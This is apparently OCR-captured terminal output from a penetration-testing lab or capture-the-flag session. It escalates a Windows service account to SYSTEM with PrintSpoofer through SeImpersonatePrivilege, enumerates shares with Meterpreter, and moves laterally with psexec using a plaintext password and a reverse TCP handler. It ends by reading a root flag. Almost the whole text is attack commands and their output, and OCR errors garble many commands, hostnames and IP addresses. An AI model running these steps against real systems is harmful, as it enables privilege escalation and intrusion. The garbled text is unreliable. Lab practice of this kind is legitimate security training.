SeAssignPrinaryTokenPrivilege  Enabled

B P C:\Users\svcuser> exploit/windows/local/impersonate_service

Started reverse TCP handler on 192.168.56.1:4445
Checking privileges...
SelmpersonatePrivilege is available
Attempting to impersonate SYSTEM using PrintSpoofer...
Success! Token impersonation complete.

. [*] Starting local SYSTEM shell..

PS C:\Windows\systen32> whoami
| nt authority\systen
A PS C:\Windows\systen32> I
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metarpreter > run post/windows/gather/enum_sha
Enumerating shares on 192.168.56.30

Share List
Path
:\Windows
\

:\Users
Shared :\Shared

| meterpreter > use exploft/windows/smb/psexec
sotarpreter exploit(psenec) > set RHOSTS 192.168.56.30
RNOSTS => 192.166.56.30

petarpretac exploft(psexec) > set SMBUser svcuser
§ SMDuser => svcuser

seterpreter exploit(psexec) > set SHBPass P@ssword123
i SMDPass => P@sswOrd123
3 setecoretec exploit(psexec) > run

192.160.66.30:445 - Connecting to the server
192.160.56.30:445 - Authenticating
168.56.30:445 - Connected!
2.168.56.1:4446 -> X
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3 Acministrator Windows Powershell

PS C:\Users\svcuser> whoani
| testlab\sveuser
PS C:\Users\svcuser> whoani. /groups | findstr /i "priv”

SeTpersonateprivilege Enabled
SeAssignPrinaryTokenPrivilege  Enabled

ZEN N

PS C:\Users\svcuser> exploit\windows\local \printspoofer\printspoofer.exe -i -c crd.exe

Found privilege: SeImpersonatePrivilege
Successfully inpersonated SYSTEM token!

PS C:\Users\svcuser> whoani

At authority\systen

PS C:\Windows\system32> hostnane
WIN-SERVER

PS C:\Windows\systen32> type C:\Users\Adsinistrator\Desktoplroot.
3f2c4d6e7b920C102e3F4a506CTdBI

PS C:\Windows\system32> |

i

o ®ae
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M&S IT Systems
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